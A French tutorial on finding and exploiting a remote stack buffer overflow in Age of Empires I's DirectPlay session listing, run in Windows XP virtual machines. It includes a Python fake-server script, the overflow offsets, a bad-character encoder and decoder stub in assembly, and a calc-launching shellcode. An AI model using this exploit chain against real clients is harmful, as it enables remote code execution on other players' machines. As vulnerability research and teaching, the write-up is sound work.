Age of Empire I

Introduction

Nous sommes samedi, il est 13h05 et il pleut … Qu’est-ce qu’on peut bien faire pour s’occuper le week-end ? Dans mon étagère que vois-je ? Une perle des années 2000 ! Age Of Empire I. Rien de mieux pour se lancer dans une recherche de vulnérabilité.

Monter l’environement de test

Le jeu ne tourne plus sous Windows 10 on commence par installer un Windows XP sur une machine virtuelle dans VMWare. On va avoir besoin de quelques outils avant de commencer, à savoir:

Et évidement le jeu en question …

Age of Empires Gold Edition - Version 00.09.13.0409

Protocole réseau

Pour rechercher une RCE on se concentre sur la partie multijoueur du jeu. Avant de foncer tête baissée dans l’assembleur, une capture réseau s’impose. L’idée est de collecter un maximum d’informations (numéro de port, protocole, magic number, …) pour trouver rapidement les fonctions qui s’occupent de la partie réseau.

J’ai lancé deux machines virtuelles pour pouvoir jouer deux joueurs :

  • le premier joueur (Joueur 1) héberge une partie en 192.168.56.104
  • le deuxième joueur (Joueur 2 - 192.168.56.102 ) va rejoindre la partie de Joueur 1

Les premières requêtes sont envoyées lorsqu’un joueur (ici Joueur 2) décide d’afficher les parties disponibles sur le réseau local.

La capture réseau nous montre que lorsque Joueur 2 clique sur le bouton, le jeu envoye un paquet en UDP à toutes les machines sur le réseau via l’IP de broadcast (paquet n°52). Ensuite le serveur initie une connexion TCP vers le client et envoie un paquet Enum Session Reply (paquet n°58), à ce moment le nom de la partie s’affiche sur l’écran de Joueur 2. Lorsque Joueur 2 décide de rejoindre le salon de prépartie, celui-ci initie une connexion TCP vers le serveur. Note importante, Wireshark a reconnu le protocole DirectPlay. Le schéma ci-dessous présente les types de paquets échangés entre Joueur 2 et Joueur 1.

La réponse du serveur ( DPLAY Enum Session Reply ) contient une donnée unique au jeu qui est le Game GUID. C’est ce qui peut nous servir de point d’entrée pour le reverse. Nous verrons plus tard dans ce tutoriel comment forger un paquet de ce type en python.

Recherche de vulnérabilité

Pour comprendre le fonctionnement de la partie réseau on pourrait partir de la fonction WinMain et reverser tout ce qui en découle mais cela prendrait un temps monstrueux. L’idée c’est de retrouver rapidement les fonctions qui s’occupent de la partie multijoueur, et d’y trouver un bug exploitable.

On commence par rechercher le GUID dans le binaire, en espérant qu’il soit utilisé dans une fonction réseau. Dans IDA le raccourci Alt+B permet de rechercher une séquence d’octets :

Malheureusement la recherche ne nous avance à pas grand-chose car le GUID n’est utilisé que dans la fonction WinMain du binaire. Il nous faut un autre point d’entrée.

On sait que le binaire utilise DirectPlay, si l’on regarde dans la table des imports … Bingo !

Parmi les fonctions importées on retrouve DirectPlayCreate, d’après la documentation la fonction a le prototype suivant :

HRESULT WINAPI DirectPlayCreate(LPGUID lpGUID, LPDIRECTPLAY FAR *lplpDP, IUnknown FAR *pUnk);

Comme son nom l’indique elle permet de créer un objet COM1 DirectPlay à partir d’un GUID. Le GUID identifie un network service provider. L' API DirectPlayEnumerate permet d’énumérer les différents services providers installés sur le système. Par défaut DirectPlay fournit quatres types de connexions réseaux TCP / IP, IPX, Modem et Série.

L’interface IDirectPlay2 de l’objet est partiellement documentée. Elle contient une méthode EnumSessions qui porte le même nom que la première requête DPLAY dans Wireshark. Les sessions correspondent aux serveurs de jeu présents sur le réseau.

En posant un breakpoint après l’appel à DirectPlayCreate, on récupére l’adresse de notre objet DirectPlay. Le premier DWORD de l’objet est un pointeur vers son interface de type IDirectPlay. A l’offset 0x34 on trouve un pointeur vers la fonction EnumSessions. En posant un breakpoint sur EnumSession, on retrouve la fonction appelante EMPIRES.00446A36 grâce à l’adresse de retour stockée dans la stack lors du call.

La méthode EnumSessions a le prototype suivant :

DPRESULT EnumSessions(LPDPSESSIONDESC2 lpsd, DWORD dwTimeout, LPDPENUMSESSIONSCALLBACK2 lpEnumSessionsCallback2, LPVOID lpContext, EnumSessionsFlags dwFlags );
  • lpsd est un pointeur vers une structure DPSESSIONDESC2 qui décrit les types de sessions qui doivent être énumérées. Age of Empire y remplit le champ guidApplication avec son guid pour ne filtrer que les serveurs du jeu.
  • dwTimeout définit le temps maximal d’attente avant de recevoir une réponse du serveur.
  • lpEnumSessionsCallback2, est une callback appelé à chaque session de jeu découvert.
  • lpContext, permet de passer un contexte à la fonction de callback

La callback ( 0x00446A40 ) a le prototype suivant, les informations sur la session découverte ( nombre de joueur, nom de partie, …) sont transmises via le paramètre lpSessionDesc.

BOOL EnumSessionsCallback(LPDPSESSIONDESC2 lpSessionDesc,LPDWORD lpdwTimeout,DWORD dwFlags, LPVOID lpContext)

La fonction de callback remplit une structure qui correspond à une liste de session. Le pointeur est passé via le paramètre lpContext. On remonte la pile d’appel de la fonction en 0x00446A36, on remarque que la liste de session est parcouru dans la fonction appelante 004DC120

...
if ( this->nSessions > 0 )
{
  do
  {
	maxplayer = SessionList_GetMaxPlayers(g_SessionList, Index);
	currentplayer = SessionList_GetCurrentPlayers(g_SessionList, Index);
	name = SessionList_SessionName(g_SessionList, Index++);
	sprintf(buffer, "%s ( %.1d / %.1d )", (const char *)name, currentplayer, maxplayer);
	sub_5120C0((__int16 *)this->field_488, buffer, 0);
  }
  while ( this->nSessions > Index );
}
...

Pour chaque session une chaine de caractère est construite sous la forme "<SessionName> ( <CurrentPlayer> / <MaxPlayer> )" c’est exactement ce que l’on retrouve dans l’écran des Parties Multijoueur.

Le hic c’est que la fonction utilisée pour créer la chaine est un sprintf et la variable buffer ne fait que 122 octets. Le nom de la session de jeu provient du paquet Enum Session Reply, sa taille ne semble être limitée que par la taille maximum du paquet qui semble être codée sur 2 octets. On peut donc en théorie créer un paquet de 65535 octets, ce qui nous laisse plus de 122 octets pour le nom de la sesssion de jeu il y’a buffer overflow.

Exploitation

Avant d’exploiter quoique ce soit il faut être capable de simuler le comportement du serveur de jeu. Le script python ci-dessous créé un serveur UDP qui écoute sur le port 47624. Ainsi, le script récupère la première requête faite par le jeu puis se connecte au client sur le port TCP 2300. Pour finir le script construit et envoie un paquet de type Enum Sessions Reply.

server_dplay = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_dplay.bind(("0.0.0.0",47624)) # Listen on all interface port 47624

# waiting client request
data,addr = server_dplay.recvfrom(4096)
print("recv udp packet from %s" % addr[0])

# connect to client to send EnumSessionReply
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((addr[0],2300))
pkt = BuildEnumSessionReply("Fake Game Session")
sock.send(pkt)

Les champs du paquet Enum Sessions Reply sont documentés dans le manuel MC-DPL4CS3. On y apprend que la taille du paquet est codée sur 20 bits et non 2 octets. Le module python construct4 permet de facilement décrire le paquet Enum Session Reply. Il faut prendre soin de recalculer le champ DirectPlay package size selon la taille du champ SessionName. Hormis cela on peut se baser sur la capture pour remplir les autres champs du paquet.

Si le paquet est correct vous êtes en mesure d’afficher n’importe quel nom de partie sur l’écran Partie Multijoueur.

Maintenant on va vérifier qu’on contrôle l’adresse de retour. D’après la stack de la fonction il faut envoyer 144 octets pour écraser l’adresse de retour.

On adapte le script pour envoyer 144 ‘A’ suivis de 4 ‘B’ et normalement le programme devrait planter sur l’adresse “BBBB” soit 0x42424242.

pkt = BuildEnumSessionReply("A"*144+"BBBB")

Comme on peut le voir avec Immunity Debugger, le programme crash “Access Violation” et on contrôle bien le registre EIP ( entouré en rouge ). Cependant on remarque que les adresses de stack entourées en bleu contiennent un octet null. Cela pose problème car l’octet null marque la fin de la chaîne SessionName, si sprintf rencontre un octet null dans la chaine SessionName il sera écrasé par le premier caractère de la chaine " ( <CurrentPlayer> / <MaxPlayer> )".

Autre point important, certains caractères de SessionName sont transformés en “-” (0x2D) ce qui limite les adresses possibles pour EIP.

En modifiant le script,

pkt = BuildEnumSessionReply("".join([chr(c) for c in range(1,255)]))

on obtient la liste des caractères qui sont transformé en “-”

  • en vert la liste des caractères inchangés
  • en rouge les caractères invalides
  • en jaune les caractères ajoutés après SessionName

Lorsque le programme crash le registre ECX pointe sur la stack ( 0x12E56C ) et plus précisément sur la fin de notre buffer. La stack étant exécutable, ceci va clairement simplifier l’exploitation. Il faut trouver une instruction pour sauter sur la stack, par exemple jmp ecx.

Pour cela j’ai écrit une nouvelle commande pour Immunity Debugger qui lance ROPgadget sur chaque DLL chargées par l’exécutable. L’options –badbytes permet de récupérer les gadgets qui ne contiennent pas de caractère invalide dans leur adresse.

Pour rajouter la commande à Immunity Debugger, on créé le fichier suivant dans le dossier C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

import os
import immlib
import subprocess

DESC = "Run ROPgadget on all modules"

def main(args):
    imm = immlib.Debugger()
    modules = imm.getAllModules()
    for modname,module in modules.items():
        imm.log("Parsing %s" % modname,address=module.getBaseAddress())
        path = module.getPath()
        p = subprocess.Popen(["C:\\Python27\\python.exe","C:\\Python27\\Scripts\\ROPgadget","--binary",path,"--badbytes","00|80|82-8C|8E|91-9C|9E-9F",],stdout=subprocess.PIPE)
        output = p.communicate()[0]
        f = open(os.path.join("C:\\gagdets\\",modname)+".txt","wb")
        f.write(output)
        f.close()
    return "Gadgets extracted with success"

En effectuant un grep sur les fichiers produits on trouve notre gadget :

kernel32.dll.txt:0x7c8107c8 : jmp ecx

Execution de code

Il nous reste encore un problème à résoudre, le shellcode lui non plus ne peut pas contenir des caractères invalides (0x00, 0x80 etc …). Pour pallier à cela on va écrire un bout de code chargé de décoder un shellcode. La payload encodée sera placée au début du buffer et le décodeur après l’adresse de retour.

Pour résumer on change l’adresse de retour de la fonction par 0x7C8107C8 ce qui redirige le flux d’exécution vers l’instruction jmp ecx. ECX pointe sur la fin de notre buffer dans la stack, on ajoute donc une instruction (saut relatif) pour exécuter le décodeur qui finit par sauter sur la payload.

Pour éviter les caractères invalides dans les constantes on peut utiliser des opérations arithmétiques classiques.

Par exemple on ne peut pas écrire mov ecx, 0x80 car une fois assemblée, l’instruction donne B9 80 00 00 00. Cependant on peut calculer dans ECX 0xFEFEFF7F + 0x01010101 ce qui donne 0x100000080, soit 0x80 sur 32 bits.

mov ecx, 0xFEFEFF7F  ; B9 7F FF FE FE
add ecx, 0x01010101  ; 81 C1 01 01 01 01

Ensuite pour encoder le shellcode on va utiliser une méthode très simple :

  • si le caractère est autorisé on le laisse tel quel
  • si le caractère n’est pas autorisé alors on l’encode sous la forme 0x70 xx, tel que ( 0x70 + xx ) & 0xFF = le caractère non autorisé
  • si le caractère est 0x70, on l’encode sous la forme 0x70 0x70.

Par exemple B9 80 00 00 00 seront encodés en B9 70 10 70 90 70 90 70 90 ( 0x70 + 0x10 => 0x80, 0x70 + 0x90 => 0x00 )

Le code assembleur suivant effectue le décodage. L’adresse du buffer est calculée dynamiquement ce qui rend l’exploit plus robuste au changement d’adresse de stack.

xor edi, edi
; EDI = ECX = buffer + 0x80
add edi, ecx 
; set ECX = 0x80, on evite les caractères null
mov ecx,0xFEFEFF7F
add ecx,0x01010101
; EDI = buffer + 0x80 - 0x80 = buffer
sub edi, ecx
xor esi, esi
xor ebx, ebx
add esi, edi
add ebx, esi
; ESI pointe sur le début du buffer
; EDI pointe sur le début du buffer
; ECX = 0x80 (taille du buffer)
xorloop:
lodsb
cmp al, 0x70
jnz storechar
movzx edx, al
lodsb
cmp al, 0x70
jz storechar
add eax, edx
storechar:
stosb
loop xorloop
; saut sur la shellcode décodée
jmp ebx

Ensuite pour tester, on lance la calculatrice Windows avec la fonction WinExec (0x7C863231) puis on quitte le programme avec exit (0x77C39E84).
Le code assembleur suivant est assemblé, encodé puis placé au début du buffer.

sub esp,0x100
push 1
jmp szCommand
return_szCommand:
mov eax, 0x7C863231
call eax
push 0
mov eax, 0x77C39E84
call eax

szCommand:
call return_szCommand
db "C:\\Windows\\System32\\calc.exe",0

Démonstration …

Références

  1. https://docs.microsoft.com/en-us/windows/win32/com/com-objects-and-interfaces
  2. https://github.com/github/VisualStudio/blob/master/tools/Debugging%20Tools%20for%20Windows/winext/manifest/dplay.h
  3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MC-DPL4CS/[MC-DPL4CS]-151016.pdf
  4. https://construct.readthedocs.io/en/latest/